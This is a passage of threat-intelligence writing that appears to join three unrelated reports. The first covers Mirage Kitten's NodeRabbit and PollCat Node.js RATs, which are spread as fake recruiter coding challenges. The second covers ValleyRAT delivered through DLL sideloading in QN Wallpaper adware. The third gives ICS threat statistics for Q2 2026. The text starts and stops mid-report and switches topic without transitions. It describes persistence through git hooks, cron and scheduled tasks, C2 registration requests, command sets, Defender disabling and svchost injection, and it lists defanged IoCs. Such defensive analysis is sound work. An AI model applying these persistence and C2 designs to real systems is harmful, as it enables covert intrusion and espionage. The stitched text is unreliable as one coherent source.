For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.

PollCat RAT

While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.

Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.

The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.

One-hour session window enforced by the trojanized coding challenge

The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.

Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier

The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.

That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.

A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.

Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:

Operation system	Persistence mechanism
Windows	Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js.
Linux	Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line.
macOS	Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger.

Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:

1.	https://sahi-finance[.]com
2.	https://GamebarAppinformation[.]azurewebsites[.]net
3.	https://GamebarApp[.]azurewebsites[.]net

To register, it sends the following HTTP request to the C2:

POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json

{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}

On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:

HTTP/1.1 400
Content-Type: application/json

{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}

After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.

Method	Endpoint	Purpose
POST	/beacon	Register the client and obtain a socketId and optional timing values.
POST	/gate/hello	Submit host, user, domain, OS information, and its current privilege level.
GET	/gate/fetch?token=<socketId>	Poll for commands.
POST	/gate/submit	Submit a Base64-encoded command-result structure.
GET	/vault/<uuid>	Retrieve a hosted file and write it to the victim machine.
PUT	/vault/push/	Upload a local file or file chunk to the C2.
POST	/gate/track	Report chunk-upload progress.

By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.

PollCat RAT declares 22 commands, but three of them have no implementation:

Command	Functionality
0x02 (DIR)	List a directory.
0x03 (MV)	Move a file or directory.
0x04 (RUN)	Execute a shell command.
0x05 (TASKLIST)	List running processes.
0x06 (DEL)	Delete a file or directory.
0x07 (UPLOAD)	Download a file from the C2 to the victim’s machine.
0x08 (DOWNLOAD)	Upload a local file to the C2.
0X09 (DRIVES)	List drives, volumes, or mount points.
0X0A (TERMINATE)	Terminate a process by PID.
0X0B (RUNDLL)	Load a DLL and call an exported function on Windows.
0X0C (MKDIR)	Create a directory.
0X0D (ZIP)	Create or extract a ZIP archive.
0X0E (CHUNKED_DOWNLOAD)	Upload a local file in chunks.
0X0F (RUN_HIDDEN)	Start a hidden background process.
0X20 (EVAL_JS)	Execute JavaScript supplied by the C2.
0X30 (SYSTEM_CHECK)	Collect process and software inventory.
0XA1 (WS_DOWNLOAD)	Defined but not implemented.
0xB0 (REQUEST_ELEVATION)	Defined but not implemented.
0XB1 (PERSIST)	Defined but not implemented.
0xF0 (SET_SLEEP_TIME)	Change the polling interval.
0XF1 (SET_IDLE_TIME)	Store an idle-time value.
0xF2 (SET_JITTER_TIME)	Change polling jitter.

The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.

EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:

• %SystemDrive%\Program Files
• %SystemDrive%\Program Files (x86)
• %LOCALAPPDATA%
• %LOCALAPPDATA%\Programs
• %APPDATA%
• %USERPROFILE%
• %APPDATA%\Microsoft\Outlook
• %LOCALAPPDATA%\Microsoft\Olk\Attachments
• %USERPROFILE%\Documents

It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.

When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.

Infrastructure

Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.

Domain	Registrar	ASN	Malware sample
naturalapplication.azurewebsites[.]net retaildemo.azurewebsites[.]net tubitak.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 1
rgbteller.azurewebsites[.]net wslwebui.azurewebsites[.]net plugplay.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 2
crossdwm.azurewebsites[.]net wdisystem.azurewebsites[.]net wslmenus.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 3
dnshnsdev.azurewebsites[.]net hpjumpsrv.azurewebsites[.]net storview.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 4
healthcomfsdpower[.]com visitfinancedentists[.]com	NameCheap, Inc.	AS 13335	NodeRabbit RAT sample 5
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net	MarkMonitor Inc.	AS 8075
greenyjsgfd.azurewebsites[.]net helptellerbls.azurewebsites[.]net timedrv.azurewebsites[.]net userwellgtfs.azurewebsites[.]net	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 6
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net msmanagementgrp[.]com msmanagementgrpmedia[.]com	MarkMonitor Inc.	AS 8075	NodeRabbit RAT sample 7
lifespotify[.]com	Dynadot	AS 8075	PollCat RAT
gamebarapp.azurewebsites[.]net gamebarappinformation.azurewebsites[.]net	MarkMonitor Inc.
sahi-finance[.]com	NameCheap, Inc.

Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com

Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.

Domain	Creation date	Registrar
healthful-hub[.]com	2026-07-03	NameCheap, Inc.
neumedicahealthcare[.]com	2026-07-03	NameCheap, Inc.
optimumhealthcredit[.]com	2026-07-03	NameCheap, Inc.
healthfullyrecipes[.]com	2026-06-30	NameCheap, Inc.
refreshhealthandwellness[.]com	2026-06-09	NameCheap, Inc.
healthvitalitycare[.]com	2026-05-18	NameCheap, Inc.
aceofspadesmanagement[.]com	2026-05-18	NameCheap, Inc.
glmediaagency[.]com	2026-05-18	NameCheap, Inc.
digimediaskill[.]com	2026-05-18	NameCheap, Inc.
healthyweightplan[.]com	2026-05-18	NameCheap, Inc.
mens-health-online[.]com	2026-05-15	NameCheap, Inc.

Victims

Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.

We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.

Attribution

We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:

1. Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
   • Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
     

     Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat

   • Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
     

     Malware	Host registration request body	C2 endpoint
     PollCat	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<domain>”,”os”:”<os>”,”isElevated”:false}	/gate/hello
     MiniFast/Retrograde	{“token”:”<socketId>”,”pcName”:”<host>”,”userName”:”<user>”,”domainName”:”<USERDOMAIN>”,”isElevated”:<bool>}	/agent/init

   • Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
   • Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
   • Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
     

     Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers

   • Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
2. Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
3. As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
4. Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.

Conclusions

Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.

The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CBAAF0900A13F28E380F49ADECEC932C  FrontEnd-Task.zip
1EA83E4E4592B01E4ACAB63EB867BEE5  Front-Technical-Challenge.zip
366515822D5AC1CC500711EF57A2E32E  Task-FullStack.zip
CF449F1992C2819E62AC44A0B06AC2E7  fullstack-1536.zip
E95A4366686E3F786EA3C056FAB5B0DA  webapp76592.zip
DE5AF16A3757EF700B01DC34D67079AE  webapp76531.zip
BE086789568441D0D7E4679AEE51F566  challenges-17831.zip
E259C5EDF158AAC4CFE14F77DDD0B196  challenges-17832.zip
291AC3ABE73C5158E59A437B75D5F0AA  Project-1802.zip
0962F56D7EC69F4F2A0162DCBE22116B  Case-34234.zip
795E053A990A1569FFDCB57F48F6D085  RankChallenge-react-6uJSX3-main.zip

Domains and IPs

oracle-challenge.s3[.]us-east-1.amazonaws[.]com
naturalapplication.azurewebsites[.]net
retaildemo.azurewebsites[.]net
tubitak.azurewebsites[.]net
rgbteller.azurewebsites[.]net
wslwebui.azurewebsites[.]net
plugplay.azurewebsites[.]net
crossdwm.azurewebsites[.]net
wdisystem.azurewebsites[.]net
wslmenus.azurewebsites[.]net
dnshnsdev.azurewebsites[.]net
hpjumpsrv.azurewebsites[.]net
storview.azurewebsites[.]net
healthcomfsdpower[.]com
visitfinancedentists[.]com
kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net
greenyjsgfd.azurewebsites[.]net
helptellerbls.azurewebsites[.]net
timedrv.azurewebsites[.]net
userwellgtfs.azurewebsites[.]net
hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net
msmanagementgrp[.]com
msmanagementgrpmedia[.]com
lifespotify[.]com
gamebarapp.azurewebsites[.]net
gamebarappinformation.azurewebsites[.]net
sahi-finance[.]com
healthful-hub[.]com
neumedicahealthcare[.]com
optimumhealthcredit[.]com
healthfullyrecipes[.]com
Refreshhealthandwellness[.]com
healthvitalitycare[.]com
aceofspadesmanagement[.]com
glmediaagency[.]com
digimediaskill[.]com
healthyweightplan[.]com
mens-health-online[.]com

Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.

Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.

Malicious installer

The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.

Installer name	What it does
FS_SETUP_DD_173.exe	Installs DingTalk, a workplace collaboration platform
FS_SETUP_GG_173.exe	Installs Google Chrome
FS_SETUP_HY_173.exe	Opens hxxps://meeting[.]tencent[.]com/download/

These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.

The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.

The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:

File name	MD5	Purpose
1.zip	7ad1e3ef4e6d9d636c9e7e967733850e	Archive containing the adware files QnWallpeper.exe and QnwPlayer.exe, along with the modules needed to run them
7z.dll	96b4c1d0683dce22bd3223e1e40689c1	7z archiver library
7z.exe	9b86d3ab6cef15c633933fbbeab39c0a	Archiver
chrome_elf.dll	edfdc30cbd85879776b8f735ea7de1f1	Library used to launch Electron-based applications
libcef.dll	07ddbbe2c71c45577a7a4fbcdba0df91	Malicious library
PeLoader	48826d5ca845979d2e6ebd66dc1aae90	File containing the encrypted backdoor
QnWallpaper.exe	6c158c0f8e029342192d4f0d72e102b7	Adware module
QnwPlayer.exe	9a71d6a41cd258b9e89cdc5fc224de73	Adware module
<random string of letters and digits>Nedca.exe	c24e99f9437feacaa63766a3cde3fe3d	Malicious installer copy

After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.

DLL Sideloading via libcef.dll

QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.

QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.

The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.

Running the malicious code

When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.

This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.

Inside mw_entry, the malware checks two things:

• Whether the current user belongs to the Administrators group
• Which process the DLL is running inside

If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.

Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:

• If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.
  

  Encrypted payload

• If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.
  

  Retrieving the payload from a resource

Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.

If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.

ValleyRAT

ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.

During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.

Some of the configuration fields are listed below:

Key	Description
p?	C2 server IP address
o?	C2 server port
t?	Protocol (1: TCP, 0: UDP)
dd	Sleep duration before executing the main code
cl	Sleep duration after receiving the corresponding command from the server
bz	Configuration creation date
bh	Whether to mark the current process as critical (so that terminating it triggers a blue screen of death) Possible values: 1: yes, 0: no
ll	Whether to check for running security/traffic-analysis tools/processes (1: check, 0: do not check)
sh	Whether to inject code into svchost that will restart the malicious process (1: inject, 0: do not inject)

The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:

• Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
  

  Injecting code into svchost

  The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.

  

  Injected function

• Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.
  

  Setting its own process as critical

• Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.
  

  Restarting on exceptions

The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.

If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:

After completing these checks, the backdoor collects system information, including:

• Host name
• Host IP addresses
• User idle time
• Detailed Windows version information (ProductName, EditionId, DisplayVersion)
• Number of CPU cores
• Free disk space
• Graphics adapter
• Currently focused window and its title
• System bitness
• Language settings
• Path to the system directory

On command, the backdoor can perform the actions typical of this malware category:

• Rebooting the computer
• Shutting down the computer
• Taking a screenshot
• Wiping logs
• Updating its C2 addresses
• Downloading additional modules
• Sending keylogger logs along with clipboard contents

Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.

Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.

If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.

Targets and attribution

Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.

This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.

Conclusion

This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.

Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.

For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.

IoC

MD5

07ddbbe2c71c45577a7a4fbcdba0df91
c24e99f9437feacaa63766a3cde3fe3d
8a626d844943da3456b044f38deae3a2

Network

103.45.66.18:441
103.45.66.18:442
103.45.66.18:443
192.253.225.173:6666
192.253.225.173:8888

All threats

In Q2 2026, the percentage of ICS computers on which malicious objects were blocked continued to decrease, falling to 19.15%, its lowest level since 2022.

Regionally, the percentages ranged from 8.1% in Northern Europe to 27.9% in Africa.

The figures increased in five regions over the quarter, most notably in East Asia (by 2.0 pp) and Africa (by 0.5 pp).

East Asia saw increases in percentages for all threats except miners. The region ranked first in terms of growth for malicious scripts and phishing pages, spyware, and viruses. East Asia also led in terms of growth in threats from the internet. The percentage of ICS computers on which email threats were blocked also increased.

Selected industries

The biometrics sector (26.44%) has traditionally led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked. Biometric systems are characterized by the availability of internet access, extensive email use for data exchange and approvals (e.g. access granting), and, in many cases, minimal cybersecurity controls within the organizations that use them.

The biometrics sector ranked first among industries in terms of the following threat categories: malicious scripts and phishing pages, malicious documents, spyware, ransomware, and worms. The sector is also leading among industries in terms of email threats. At the same time, unlike other industries, the percentage of affected ICS computers for email threats in biometrics exceeds that for internet threats.

In all selected industries, the global average follows a downward trend.

Threat categories

In Q2 2026, Kaspersky security solutions blocked malware from 10,904 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which malicious objects of the following categories were blocked increased: denylisted internet resources, malicious documents, worms, ransomware, and malware for AutoCAD.

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages remained in first place in the threat category rankings based on the percentage of ICS computers on which the respective threats were blocked. In Q2 2026, the global average dropped to 5.42%.

Over the quarter, the figure for this category only increased in East Asia, rising by 0.93 pp to 4.86%. This is the second-highest figure in the region in the last three years.

In East Asia, the percentage of ICS computers affected by malicious scripts and phishing pages increased in all the industries surveyed, except construction. The highest figures were recorded for biometrics (9.01%) and building automation (6.49%).

Denylisted internet resources

In Q2 2026, denylisted internet resources rose in the threat category rankings from third to second place, displacing spyware. Globally, the percentage of ICS computers on which denylisted internet resources were blocked has been increasing for two quarters in row and reached 4.31%.

The figures increased in all regions over the quarter, most notably in Russia (by 1.33 pp). Moreover, Russia ranked first (5.17%) among the regions in terms of denylisted internet resources. Since 2022, the region has topped these rankings twice before, both times in Q2: in 2022 and 2024.

Among the selected industries in Russia, the highest figures for the denylisted internet resources were in the electric power (6.61%) and engineering and ICS integration (5.62%) industries.

Malicious documents (MSOffice + PDF)

Malicious documents ranked fourth in the threat category rankings by the percentage of ICS computers on which they were blocked. The percentage for this category decreased over the previous three quarters, reaching its lowest level in three years. However, in Q2 2026, it increased to 1.77%.

Over the quarter, the figures for malicious documents increased in seven regions, most notably in South America (by 1.35 pp) and Southern Europe (by 0.48 pp). These two regions are among the top three in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients.

South America ranked second in the rankings of regions in terms of malicious documents. In Q2 2026, the percentage of ICS computers in the region on which this threat was blocked was 3.56%, which was the fourth highest in three years.

Among the selected industries in South America, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (6.67%).

Southern Europe ranked first in the rankings of regions in terms of malicious documents. In the previous quarter, the percentage of ICS computers in the region on which this threat was blocked was the lowest in three years, but in Q2 2026 it increased to 3.63%.

Among the selected industries in Southern Europe, the highest percentage of ICS computers on which malicious documents were blocked was once again in biometrics (11.48%).

Spyware

Spyware ranked third in the threat category rankings based on the percentage of ICS computers on which it was blocked. The percentage for this category (3.30%) is the lowest since 2022.

Over the quarter, the figures increased in three regions, most notably in East Asia (by 0.53 pp) and Southeast Asia (by 0.42 pp).

East Asia ranked third based on the figures for spyware (4.77%), behind Africa and Southeast Asia. This is the region’s highest rate since Q2 2025. Among the countries and territories in the region, the highest percentage of ICS computers on which spyware was blocked was in mainland China (6.61%). Among the selected industries in East Asia, the highest figures for spyware were in the electric power (11.75%) and manufacturing (5.87%) industries. In all the industries surveyed, the figures are higher than the regional average.

Southeast Asia ranked second after Africa in the ranking of regions in terms of spyware, with 5.32%. Among the selected industries in Southeast Asia, the highest figures for spyware were in biometrics (8.93%) and manufacturing (7.32%). The figures increased in all industries over the quarter.

Ransomware

The percentage of ICS computers on which ransomware was blocked decreased in the previous three quarters but increased to 0.16% in Q2 2026.

During the quarter, the percentage increased in all regions, except Western and Southern Europe and North America (Canada). Africa led the ranking in terms of growth for this metric.

In Q2 2026, Africa ranked first among the regions in terms of the percentage of ICS computers on which ransomware was blocked (0.29%). The only time the figure in the region was higher in the past three years was Q2 2025 (0.31%).

Among the selected industries in Africa, the highest figures for ransomware were in the electric power industry (0.72%) and biometrics (0.52%). Over the quarter, the figures increased in all industries, except manufacturing and construction. The biggest increase was recorded in the electric power industry.

In Russia, the percentage of ICS computers on which ransomware was blocked in biometric systems has increased for three consecutive quarters, reaching 1.22%. This is the highest level of ransomware across all industries in all regions.

Miners

In Q2 2026, the percentage of ICS computers on which miners were blocked was the lowest since 2021, for both miners in the form of executable files for Windows (0.48%) and web miners running in browsers (0.14%).

The figures for both categories decreased in all regions, except for Africa where figures for miners in the form of executable files for Windows increased slightly.

On average, the oil and gas industry led the rankings among the selected industries both in terms of miners in the form of executable files for the Windows OS (0.66%) and in terms of web miners (0.34%).

Worms

In Q2 2026, the percentage of ICS computers on which worms were blocked increased to 1.43%.

In Q2 2026, the Middle East (2.11%) was second (after Africa) in the rankings of regions in terms of worms, displacing Central Asia and the South Caucasus.

Among the selected industries in the Middle East, the highest percentage of ICS computers on which worms were blocked was in building automation (2.90%). Over the quarter, the figures increased in all industries.

Australia and New Zealand ranked 12th among the regions in terms of the percentage of ICS computers on which worms were blocked (0.41%). Over the past three years, the figure in this region was only higher in Q2 2024 (0.42%). The figures increased in all the surveyed industries in the region, most notably in manufacturing and electric power. As a result, for these industries they exceeded the regional average by 2.9 and 2.3 times, respectively.

Viruses

In Q2 2026, the percentage of ICS computers on which viruses were blocked decreased to 1.29%.

The top three regions for this metric remain unchanged: Southeast Asia (6.03%), Africa (4.22%), and East Asia (3.14%). These same regions lead the rankings in terms of malware for AutoCAD.

The figures increased in three regions: East Asia, Australia and New Zealand, and Africa, where it has been growing for four consecutive quarters and reached its highest value since 2022.

Among the selected industries in Africa, the highest percentage of ICS computers on which viruses were blocked was in construction (5.47%).

East Asia ranked third among the regions in terms of viruses, reaching the highest level in the region for the past three years. Among the countries and administrative regions of East Asia, mainland China is the clear leader in terms of viruses (5.07%).

Among the selected industries in East Asia, the highest percentage of ICS computers on which viruses were blocked was in construction (5.93%).

In Australia and New Zealand, the increase in the percentage of ICS computers on which viruses were blocked was primarily due to a 4.3-fold increase in the figure for the electric power industry: from 0.29% to 1.24%. For a region where the percentage of attacked ICS computers for all threats is 0.12%, this is a very high value.

Malware for AutoCAD

In Q2 2026, the percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.31%.

The most notable increase over the quarter was observed in Africa. After more than doubling in the previous quarter, the figure for the region continued to rise (although not so dramatically), reaching 1.02%.

Among the selected industries across all regions, the highest percentage of ICS computers on which malware for AutoCAD was blocked was in construction in East Asia (6.38%) and in Southeast Asia (4.05%).

Main threat sources

